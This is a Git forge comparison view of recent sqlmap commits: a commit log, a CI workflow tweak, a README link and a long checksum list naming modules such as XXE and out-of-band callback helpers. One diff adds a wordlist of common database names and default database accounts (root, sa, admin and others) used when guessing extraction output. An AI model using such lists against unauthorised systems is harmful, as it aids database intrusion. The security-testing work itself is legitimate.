Compare commits

..

30 commits

Author SHA1 Message Date
Miroslav Štampar
6597415ab0 Minor update
Some checks are pending
/ build (macos-latest, 3.8) (push) Waiting to run
/ build (ubuntu-latest, pypy-2.7) (push) Waiting to run
/ build (windows-latest, 3.14) (push) Waiting to run
2026-07-04 21:45:42 +02:00
Miroslav Štampar
3bab3cd795 Minor update
Some checks are pending
/ build (macos-latest, 3.8) (push) Waiting to run
/ build (ubuntu-latest, pypy-2.7) (push) Waiting to run
/ build (windows-latest, 3.14) (push) Waiting to run
2026-07-04 13:35:00 +02:00
Miroslav Štampar
3b3a822e32 Minor update 2026-07-04 13:00:19 +02:00
Miroslav Štampar
7fd6bb3b7d Minor update 2026-07-04 12:38:59 +02:00
Miroslav Štampar
103a0e6b0f More refactoring for --xxe 2026-07-04 11:12:21 +02:00
Miroslav Štampar
3cf29a543a Refactoring for --xxe 2026-07-04 10:36:10 +02:00
Miroslav Štampar
5fa2da5eae Adding support for --xxe 2026-07-04 09:53:04 +02:00
Miroslav Štampar
16c8909a0c Minor patch 2026-07-03 16:57:46 +02:00
Miroslav Štampar
2b9fd6cf82 Minor update of the references
Some checks are pending
/ build (macos-latest, 3.8) (push) Waiting to run
/ build (ubuntu-latest, pypy-2.7) (push) Waiting to run
/ build (windows-latest, 3.14) (push) Waiting to run
2026-07-03 10:10:29 +02:00
Miroslav Štampar
d60e95ede7 Some more stabilization of unittests
Some checks are pending
/ build (macos-latest, 3.8) (push) Waiting to run
/ build (ubuntu-latest, pypy-2.7) (push) Waiting to run
/ build (windows-latest, 3.14) (push) Waiting to run
2026-07-02 22:52:02 +02:00
Miroslav Štampar
71d9c6d0f4 Stabilization of unittests 2026-07-02 22:31:01 +02:00
Miroslav Štampar
732d164538 Fixing CI/CD errors 2026-07-02 22:02:57 +02:00
Miroslav Štampar
2719ce6c59 Minor patch 2026-07-02 21:57:17 +02:00
Miroslav Štampar
fe69e6bfcc Adding support for --openapi 2026-07-02 21:12:46 +02:00
Miroslav Štampar
d6299fc4f5 Adding more supported hash algorithms 2026-07-02 16:29:40 +02:00
Miroslav Štampar
a7c9b721fd Adding support for HTTP2 connection reusage 2026-07-02 13:39:47 +02:00
Miroslav Štampar
47b8b6ed07 Minor update 2026-07-02 10:18:58 +02:00
Miroslav Štampar
d2ead9dcda Adding support for import sqlmap as a library (#2083) 2026-07-02 09:58:48 +02:00
Miroslav Štampar
e1126a2a4e Improving --predict-output 2026-07-02 01:12:06 +02:00
Miroslav Štampar
a3bff54cc5 Fixes #1545 2026-07-02 00:19:31 +02:00
Miroslav Štampar
c2209d9326 Patch related to #5357 2026-07-01 23:16:05 +02:00
Miroslav Štampar
1716ad1524 Minor improvement of UNION detection 2026-07-01 22:31:37 +02:00
Miroslav Štampar
bd10f84a9b Minor patch 2026-07-01 18:34:03 +02:00
Miroslav Štampar
6514597dbb Minor renaming of options 2026-07-01 17:34:31 +02:00
Miroslav Štampar
40a31c155c Removing thirdparty OrderedDict 2026-07-01 15:26:59 +02:00
Miroslav Štampar
62a7bf3b03 Adding tests for http2 functionality 2026-07-01 15:19:30 +02:00
Miroslav Štampar
3e7d064cc9 Adding some more tests
Some checks failed
/ build (macos-latest, 3.8) (push) Has been cancelled
/ build (ubuntu-latest, pypy-2.7) (push) Has been cancelled
/ build (windows-latest, 3.14) (push) Has been cancelled
2026-07-01 14:59:34 +02:00
Miroslav Štampar
39ba1bc00e Adding custom/own support for HTTP2 2026-07-01 12:21:11 +02:00
Miroslav Štampar
8a75c0bb62 Minor patch 2026-07-01 11:06:39 +02:00
Miroslav Štampar
6e459d66f2 Couple of optimizations 2026-07-01 10:34:53 +02:00
117 changed files with 5396 additions and 549 deletions

View file

@ -17,6 +17,10 @@ jobs:
runs-on: ${{ matrix.os }}
timeout-minutes: 30
env:
# deterministic dict/set iteration order run-to-run (guards against hash-order flakiness in CI)
PYTHONHASHSEED: "0"
strategy:
matrix:
include:

View file

@ -47,6 +47,7 @@ Links
* Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Playground: https://sekumart.sekuripy.hr
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
Translations

View file

@ -1364,3 +1364,113 @@ username
visible
zip
zip_code
# --- real-world application / CMS / framework values (repeated section headers are merged on load) ---
[Databases]
wordpress
wp
drupal
joomla
magento
prestashop
opencart
moodle
mediawiki
phpbb
typo3
laravel
symfony
django
app
application
webapp
web
website
main
backend
api
cms
shop
store
ecommerce
blog
forum
wiki
crm
erp
billing
sales
accounts
inventory
catalog
orders
payments
customers
members
users
data
db
mydb
appdb
prod
production
dev
staging
qa
demo
sample
employees
sakila
world
classicmodels
dvwa
bwapp
mutillidae
dashboard
defaultdb
[Users]
admin
administrator
root
sa
postgres
oracle
system
dbadmin
dba
dbo
webadmin
web
www
www-data
apache
nginx
app
appuser
application
service
svc
user
dbuser
guest
test
demo
backup
replication
monitor
readonly
superuser
wordpress
drupal
joomla
magento
laravel
django
symfony
'admin'@'localhost'
'admin'@'%'
'app'@'localhost'
'app'@'%'
'web'@'%'
'wordpress'@'localhost'

View file

@ -25,7 +25,7 @@ c52c17f3344707cae4c3694a979e073202bd46866fcc51d99f7e4d0c21cf335b data/shell/sta
af4e1f87ec7afd12b7ddb39ff07bf24cd31be2b1de11e1be064e1dd96ff43eac data/shell/stagers/stager.php_
eb86f6ad21e597f9283bb4360129ebc717bc8f063d7ab2298f31118275790484 data/txt/common-columns.txt
63ba15f2ba3df6e55600a2749752c82039add43ed61129febd9221eb1115f240 data/txt/common-files.txt
852b420157bbffb56947e4b201a7df5242e75443ab161049a50235eb4e8e9aae data/txt/common-outputs.txt
4d6a32155dd6b570e5cdae8036efd69d8f8ebab79cb82a4d094c15f35af8b13d data/txt/common-outputs.txt
44047281263ef297f27fdd8fa98a0b0438a25989f897ce184cb0e2e442fb6c11 data/txt/common-tables.txt
ccba96624a0176b4c5acd8824db62a8c6856dafa7d32424807f38efed22a6c29 data/txt/keywords.txt
522cce0327de8a5dfb5ade505e8a23bbd37bcabcbb2993f4f787ccdecf24997e data/txt/smalldict.txt
@ -84,38 +84,38 @@ c8d467837c8567b61a11e2dfd75a2d8305a8b317041ee81eda6d0e47609dabb7 data/xml/paylo
0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml
379fc92f2dadd948f401e17490d8a8f03a1988d817323cbe1feff5fe87726079 data/xml/payloads/time_blind.xml
40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml
45aa5280edc0412a217498bd229651ff9c55afab44d555507ee5bdc27531de82 data/xml/queries.xml
ff99497d2f04a872e16e799183e6c8f2e16f3e69cddb336e29162f1e92ae45c7 data/xml/queries.xml
127799739f9aeabca367027197f3c0240f141303bd7499928ccfa1443bf148c7 doc/ARCHITECTURE.md
0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS
ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md
233fb10dff24a2436eb24496db7fadb46659da6745a0d53c744db701188041ef doc/THANKS.md
b6fcc489c6eaca2a7d0d031bd04fe28e6790ffe4dfd4bdf055b6dc83b992dc86 doc/THIRD-PARTY.md
2af9b7a8c5f24de68f9b8b1bcf3a7f2b0e55fdb48b6545e1fc8b13f406ac97c2 doc/translations/README-ar-AR.md
c25f7d7f0cc5e13db71994d2b34ada4965e06c87778f1d6c1a103063d25e2c89 doc/translations/README-bg-BG.md
e85c82df1a312d93cd282520388c70ecb48bfe8692644fe8dbbf7d43244cda41 doc/translations/README-bn-BD.md
00b327233fac8016f1d6d7177479ab3af050c1e7f17b0305c9a97ecdb61b82c9 doc/translations/README-ckb-KU.md
f0bd369125459b81ced692ece2fe36c8b042dc007b013c31f2ea8c97b1f95c32 doc/translations/README-de-DE.md
163f1c61258ee701894f381291f8f00a307fe0851ddd45501be51a8ace791b44 doc/translations/README-es-MX.md
70d04bf35b8931c71ad65066bb5664fd48062c05d0461b887fdf3a0a8e0fab1d doc/translations/README-fa-IR.md
a55afae7582937b04bedf11dd13c62d0c87dedae16fcbcbd92f98f04a45c2bdf doc/translations/README-fr-FR.md
f4b8bd6cc8de08188f77a6aa780d913b5828f38ca1d5ef05729270cf39f9a3b8 doc/translations/README-gr-GR.md
bb8ca97c1abf4cf2ba310d858072276b4a731d2d95b461d4d77e1deca7ccbd8e doc/translations/README-hr-HR.md
27ecf8e38762b2ef5a6d48e59a9b4a35d43b91d7497f60027b263091acb067c6 doc/translations/README-id-ID.md
830a33cddd601cb1735ced46bbad1c9fbf1ed8bea1860d9dfa15269ef8b3a11c doc/translations/README-in-HI.md
40fc19ac5e790ee334732dd10fd8bd62be57f2203bd94bbd08e6aa8e154166e2 doc/translations/README-it-IT.md
379a338a94762ff485305b79afaa3c97cb92deb4621d9055b75142806d487bf5 doc/translations/README-ja-JP.md
754ce5f3be4c08d5f6ec209cc44168521286ce80f175b9ca95e053b9ec7d14d2 doc/translations/README-ka-GE.md
2e7cda0795eee1ac6f0f36e51ce63a6afedc8bbdfc74895d44a72fd070cf9f17 doc/translations/README-ko-KR.md
c161d366c1fa499e5f80c1b3c0f35e0fdeabf6616b89381d439ed67e80ed97eb doc/translations/README-nl-NL.md
95298c270cc3f493522f2ef145766f6b40487fb8504f51f91bc91b966bb11a7b doc/translations/README-pl-PL.md
b904f2db15eb14d5c276d2050b50afa82da3e60da0089b096ce5ddbf3fdc0741 doc/translations/README-pt-BR.md
3ed5f7eb20f551363eed1dc34806de88871a66fee4d77564192b9056a59d26ec doc/translations/README-rs-RS.md
7d5258bcd281ee620c7143598c18aba03454438c4dc00e7de3f4442d675c2593 doc/translations/README-ru-RU.md
bc15e7db466e42182e4bf063919c105327ff1b0ccd0920bb9315c76641ffd71a doc/translations/README-sk-SK.md
ab7d86319a68392caac23d8d7870d182d31fb8b33b24e84ba77c8119dbd194c2 doc/translations/README-tr-TR.md
5e313398bfe2573c83e25cfc5ff4c003fdbf9244aa611597a7084f7ac11cc405 doc/translations/README-uk-UA.md
c3a53e041ce868b4098c02add27ea3abaf6c9ecf73da61339519708ada6d4f24 doc/translations/README-vi-VN.md
c4590a37dc1372be29b9ba8674b5e12bcda6ab62c5b2d18dab20bcb73a4ffbeb doc/translations/README-zh-CN.md
8d9c49ac2c05b594c1c36a03c41cf9e3641626a94fe11d86787df4125064b6a0 doc/THIRD-PARTY.md
08392b358c91c79310741c11181572ac0d9c805bf9b65e93cfe6165d569e1918 doc/translations/README-ar-AR.md
692cb9911393212d0cc7115e4e281a0c7368c11060ce41140e878d02a3c9b4fc doc/translations/README-bg-BG.md
9d84fd48b533abbf987d3758c5382a4ba671d3b0499eec301965dc7061cd8794 doc/translations/README-bn-BD.md
65253be0f258af1315cd3dafe555788007537f562e4767cd62d16deff940ea9e doc/translations/README-ckb-KU.md
a879590d8df8e45dfc1a23099446a5f68b8587c31ecfcb735f326a347ccff706 doc/translations/README-de-DE.md
0d9cae50c55529bb0aa0523b7b7b0621d4e32a1ce2bbcfa214139b3d038c555b doc/translations/README-es-MX.md
c3024073cb28099f3acfa406a73e71c91c9a02e193964ed291dbff6b90427334 doc/translations/README-fa-IR.md
10ea504f41be97369f50cefe76bc28cfc629b26a6bf384b8d70e881c96dc0923 doc/translations/README-fr-FR.md
b6aa61ad27714a55c70265570145ce7ee335b9050745e648dcea48721eaf334a doc/translations/README-gr-GR.md
22351d0474d0272d8dc6551adb31c96a6ca1085e01f608ab0c00802680a2a40b doc/translations/README-hr-HR.md
782ba3afa853ace3a69811ed607639978934001f2217325880342e3f1873f4a2 doc/translations/README-id-ID.md
46990bbb2909c3045f95c726b22ff9058ded37ad6a5485886e2c576a5864278a doc/translations/README-in-HI.md
3f9dd7c6ef325d504841314c13356e416468d6a6f8ed8aab1ed4a5537fd3908b doc/translations/README-it-IT.md
39958aa346a5e0db2c330ec45d216764bef19cd660b87dc0f5251f93d501f5a3 doc/translations/README-ja-JP.md
0cf573bcae1454c34eb682e6aa2cbf1f215f4cd6434d088dd9ae3d32d2fedb67 doc/translations/README-ka-GE.md
e1798fb6d4f5369de0c6cd4c03b42082d918992e1744ee180d7e55736af6099e doc/translations/README-ko-KR.md
40a61f100da538bff95af4a582f0856aa36e5d7c5f27c20878688fd48fcd8f98 doc/translations/README-nl-NL.md
9005009f5db979677e4a5fd8282fee28086029a9483be770fdbf375674223709 doc/translations/README-pl-PL.md
4a3e59a37cd9f5ad9dce349a95b5f7e8cbb074548a6b8086129f5e9eda7fd72b doc/translations/README-pt-BR.md
93540499d004d893d4d1f79894824f28ab31f57d3ed9d698a25d08179dbe063c doc/translations/README-rs-RS.md
9732f6e022bf353543e7e762c64e927c2503325cefc42f57a90efb2b43d64055 doc/translations/README-ru-RU.md
dfc5bfe69122fde6c933b2c71e71da7c21ad15f5a3c74f9201d3360ce47df5d2 doc/translations/README-sk-SK.md
bd05734a41844fff3a304d137b95422a76ad2737b304f762e44883da7d8a147f doc/translations/README-tr-TR.md
81912ba386b468fdc95c0bdddf6bbee5154b43af579b6cee2be752d54ff490a4 doc/translations/README-uk-UA.md
ac826cb38a3c0c6ce66c3deec79e72ce526f3fdc9c664c844bcdbdbc73aeae5e doc/translations/README-vi-VN.md
a46681b34b3e5c5cd6cbd926f19b6aa104b3f202e600289565d443e57850c8d4 doc/translations/README-zh-CN.md
8c4b528855c2391c91ec1643aeff87cae14246570fd95dac01b3326f505cd26e extra/beep/beep.py
509276140d23bfc079a6863e0291c4d0077dea6942658a992cbca7904a43fae9 extra/beep/beep.wav
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/beep/__init__.py
@ -160,70 +160,74 @@ ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/
df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh
1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py
617cec1b731e0baacafa6f58c2f56a85b6128d1416627cc1b2f61519c8539a2e extra/vulnserver/vulnserver.py
9af5fdfa8b2425d404d86ab08d3644caa95bcf77605551f5da482a59d1e54a22 extra/vulnserver/vulnserver.py
a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py
6f3198df20330b6ff0eb7f615082ca7046e6887ac5d3e5df3598d36f66724e01 lib/controller/checks.py
666935b658074dc9c42153622b75d4ec7bfe56fbe0742de827a5d30a1a0f9d96 lib/controller/controller.py
ce1f56cd5abcbb71a1074e7fe198de5d6e75353ed3eb1084f6cac657118df8cb lib/controller/checks.py
00d56cc59757cc3f3073ac20735ac9954ff06242b9433a96bd4186c090094db3 lib/controller/controller.py
d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py
9c5764c92ce536d1f0f96200359ee5ef1f37f9128769bf990cb77f1d1f8e17b1 lib/core/agent.py
48ffe93d61734e16c3b20153b51595853d9ac1fbcf0b537e0e61e957b0c0bfa6 lib/core/agent.py
c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py
d143df718fbaacb617b6046c73cf4e47932e1a25928a4e1ecb87ea77a3b154ed lib/core/common.py
19989ca19194bf3f7a42a929b153e45c9a2177e01ab6ab63a5372daa5989c0e8 lib/core/common.py
8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py
5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9 lib/core/convert.py
c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py
d9ec034a6d51ab4ddde0b6aa7ed306f9e0b1336557f77d7939ba547600f9b3ae lib/core/datatype.py
771ef50ebfa72a1019f819071dcfcd249ea6bb533051e9388c14917823e1f4f3 lib/core/datatype.py
f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decorators.py
147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py
8e4f4b5ea37a49d445bb0df83bf04b34f61035ec33fd8acf598ebcf371cb19a7 lib/core/dicts.py
10d8bb671a64cc787fc2fbf2c641560b7797fccd62c4792e55dffe5efab9f544 lib/core/dump.py
6dd47f52082e98dc0cda6969b277b7d81c6f7c68dac4688821f873a1c65c6edf lib/core/enums.py
b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump.py
c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums.py
5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py
914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py
5a576f802f1298d0aa357e766ae6502fa53cacbbe0b1d328b7410a8b20a885b2 lib/core/optiondict.py
98d3d61278794705c7039e40fab66a626e8d6ab765383c5379cec7a066b09301 lib/core/option.py
23852bdfadfb4bd5663302a63bdcc7227c0314fbdea884167d58ca21cda9fb09 lib/core/optiondict.py
0caac9b4af2cc50321a4d8126d92481ad0b092af2075e7efa19bccef529986fb lib/core/option.py
21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py
49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py
0c36a65b6237732eb001d333f80f0c58c088ff01ae80cf07e4dcc6da2a806364 lib/core/readlineng.py
9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py
0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
516d6b40efa04a5a25b0aa317ea49771f6964a57581777761f82d36d1b1b78b0 lib/core/settings.py
df067f981efe10f6743eba13c48c9c1db158ff4e9d015831e5dbfa2ece80f7bf lib/core/settings.py
c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py
a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py
19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py
540443bdc23965be80d80185d7f3b54b632228af220dc2cb2e9cbb3f4fd4cea4 lib/core/testing.py
69a68894db04695234369eedac71b5a89efc1b4ce89ef0e61ebbbc1895ff32b2 lib/core/target.py
96d107a31bb9647a9b7c26f10beac528bf4edc6e607c8b776c624d494332c7f8 lib/core/testing.py
95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py
b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py
53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py
2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py
54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py
403ebb5b54531cf907a30ed439fc881cf3cbae68c3a4ec600c75312e5f6b9001 lib/parse/cmdline.py
02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py
c9d38a60a85691cdb540e33510dd16228d6afcce0fd2ba39780f71b6da57ebb5 lib/parse/cmdline.py
925a068efa1885fa40671414a887c088f2aafbe8cb76f01286e6bde3f624dac1 lib/parse/configfile.py
c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py
5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py
ea9b195e5f5030b96d1993c106c1e13fb5c7faaf6bdc5daacfd06ec984e7f323 lib/parse/html.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/parse/__init__.py
9cb95cc5136d5ac624860578099929fdb335face41026f79f49df4f52da9805d lib/parse/openapi.py
d2e771cdacef25ee3fdc0e0355b92e7cd1b68f5edc2756ffc19f75d183ba2c73 lib/parse/payloads.py
c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/sitemap.py
1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c lib/request/basicauthhandler.py
369484a2999d29f49bf839a329d1686ed94f6ea27c695e027fe08c8da51f30a3 lib/request/basic.py
a988c659e0c642e4f3dc4034118b5a6e138a522394ff2eda5bdc3c8495ea2207 lib/request/basic.py
bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py
9c0dccc1cee66d38478aaf75a7c513d0d136d50a90b15fed146faa1653899fe1 lib/request/comparison.py
729e07a2ca6b1d83563e9c6dc5a884d1b664c1764be06776ea93bde305164f0c lib/request/connect.py
4fd1957e31b14e7670b09d85a634fa6772a1cd90babe149f39a1c945fe306f0a lib/request/comparison.py
4a3b997a83b1724e8bd025be95ec5d84c6bf41d533ba097fcab1eab763352111 lib/request/connect.py
8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py
a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dns.py
c968a04d3de9256d56c423d46556441223607e4573627f2af4e772e084aef5fc lib/request/dns.py
7344978ac1c52060716b7837c88a62768c6a445eafe189ea3232b8a498fdd038 lib/request/http2.py
92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py
7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py
d1c5e4bda94394b5bb42c3b48b41b73ecb6069c3971af2c54394c9b35c2fed6e lib/request/keepalive.py
df97f7ccb437f9fda76b3d87cb5c11a01d09a0fa395c0d6bd555812cf92b70e6 lib/request/interactsh.py
ff15723c82e343eb95f4599d251165d478ca720afc8f5daaed3da44ea923df44 lib/request/keepalive.py
ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py
43a7fdf64e7ba63c6b2d641c9f999a63c12ac23b43b64fedfce4e05b863de568 lib/request/pkihandler.py
b90feeb16e89a844427df42373b0139eb6f6cf3c48ccec32b3e3a3f540c2451e lib/request/rangehandler.py
fa347e74361904d052e4d5c958ebbdf080e4f7003176824a44786108b4d7afc6 lib/request/redirecthandler.py
1bf93c2c251f9c422ecf52d9cae0cd0ff4ea2e24091ee6d019c7a4f69de8e5eb lib/request/templates.py
b53a750d957dc50cee15261358cafc3d339b8b28d70ebecf202009d0c13037a6 lib/request/webhooksite.py
01600295b17c00d4a5ada4c77aa688cfe36c89934da04c031be7da8040a3b457 lib/takeover/abstraction.py
d3c93562d78ebdaf9e22c0ea2e4a62adb12f0ce9e9d9631c1ea000b1a07d04ab lib/takeover/icmpsh.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/takeover/__init__.py
@ -249,23 +253,26 @@ bde75d41ac3e5747b96d2af4c33922573158cb43b48714a28490d6720dd85d89 lib/techniques
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/ssti/__init__.py
14637b64878248e5965887b07aa68e62615dac88e2ffc6c3a581430bdd4e309e lib/techniques/ssti/inject.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py
ceec65f8cb7c3254c4671351c837418c76ac5bc55ccbc40779f67231b54d7085 lib/techniques/union/test.py
c65766f71e285fc85cdf58e7448c4c1d015af2a9dbb44fa3b665a9f13362fbcc lib/techniques/union/use.py
f6678ac1342f8d234ed32ae69be5ac5d7837393e9348929ec029c9764c030e82 lib/techniques/union/test.py
c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques/union/use.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py
c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py
aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py
97f3ea4342b11d57cf3bb25e2ba50dc5f561bc595c6c09eebcc2ed921d096a1f lib/techniques/xxe/inject.py
2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py
442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py
da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py
a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps.py
b0d8ae8513c1f5ffcaa4bf0398790f26bc2180a6acf07bf5b2c86555bf9113f6 lib/utils/dialect.py
51deedec3d3e869b067824caa51406d2ef396c188f82013ca60777006a821e27 lib/utils/deps.py
bd9267d94390ba87d6c5a35c90f2406d6a4135a7c8ea01db76dd9e6519eee2ed lib/utils/dialect.py
51cfab194cd5b6b24d62706fb79db86c852b9e593f4c55c15b35f175e70c9d75 lib/utils/getch.py
3c4ad819589fe4fca303706dc87969273a07a04dee85e23f064b39caf1fb80e9 lib/utils/gui.py
972c5db9c9e30ac0f91c0f8d4df4531d0304e151dac99f1399c37c952ba9f935 lib/utils/har.py
0cd3860c03e39bacd1d0fe4cf1a0c605de48ff82f70441319f21d47e38e7e3a9 lib/utils/hashdb.py
71a66ff766a2921106770b26acff380de469222dc893816a7b970b384c927666 lib/utils/hash.py
0c4ffffbf873bfc6981da6c92697331ce8d985025982ad7c6d52f2c26639df73 lib/utils/hash.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py
1bbf57e43f921d4132e6e5a336ff39454a9506b36de94ebcc45879d0abcac56a lib/utils/keysetdump.py
04b28ad98340a589eb9b21d014c435e8193c2bea3a21af9875b6f23c9b270f1f lib/utils/pivotdumptable.py
b57aa20b7a6fd8afd07bae773fd03f8acb05655ee605362b220e65a0664dc38d lib/utils/library.py
dd30ef67da30b666c53013ee32253cd9396ed0e5d0a44d509680742e06ebcd23 lib/utils/pivotdumptable.py
c1dfc3bed0fed9b181f612d1d747955dd2b506dbe99bc9fd481495602371473a lib/utils/progress.py
c442e9ef8324fd6fdf7bc334d765f0a6ce4037397eb3d79d59b5ce3e9a043855 lib/utils/prove.py
2cd84db16edef8c9948e197a51d870cf1c338f4a89037b4d422de990f4a45237 lib/utils/purge.py
@ -504,11 +511,11 @@ da8cc80a09683c89e8168a27427efecda9f35abc4a23d4facd6ffa7a837015c4 plugins/generi
cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883 plugins/generic/takeover.py
38becf127a8bb4a90befd4c7e12ef1ad8e21374c91c75bb640d73ab86cc1eeb9 plugins/generic/users.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 plugins/__init__.py
5d72f0af46ff3c9e3fe80300e83cb78749132278e8db88915764a94d7130a04c README.md
b7425eb6a1c7b43b175a0312183579bedac0abda4fcaa42c383388626ea1b683 README.md
46517f1444c202710e388873960130850ed092e17bd6f4dd5f2fedea3dbb8ffc sqlmapapi.py
f09d1b06901e7e02d0dbf4de607f6a4a9889acc322ae9353b98ea9101fb9548a sqlmapapi.yaml
9b6bcffc94023b291ef231760fa134140dc2448dd81b235088d6bff020502c6b sqlmapapi.yaml
627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8 sqlmap.conf
41fa63d55909cf00a0bb02e979c4f2c0ad7df4b32a89374150772b247fa96fc2 sqlmap.py
80d66407453d34d672c389f6d9ab059d925528615429f2e6e9f286ce03d2c5d6 sqlmap.py
eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py
a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba tamper/apostrophemask.py
cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4 tamper/apostrophenullencode.py
@ -583,83 +590,87 @@ dcdeed9ee285e63cf06baf8347e3db7f210ef25a63869bab78ce1ec6898ae191 tamper/unional
0694e721b07b8242245688be5c7951a3a22f512ed73776a998885e4b1bc82bc7 tamper/versionedmorekeywords.py
ce1b6bf8f296de27014d6f21aa8b3df9469d418740cd31c93d1f5e36d6c509cf tamper/xforwardedfor.py
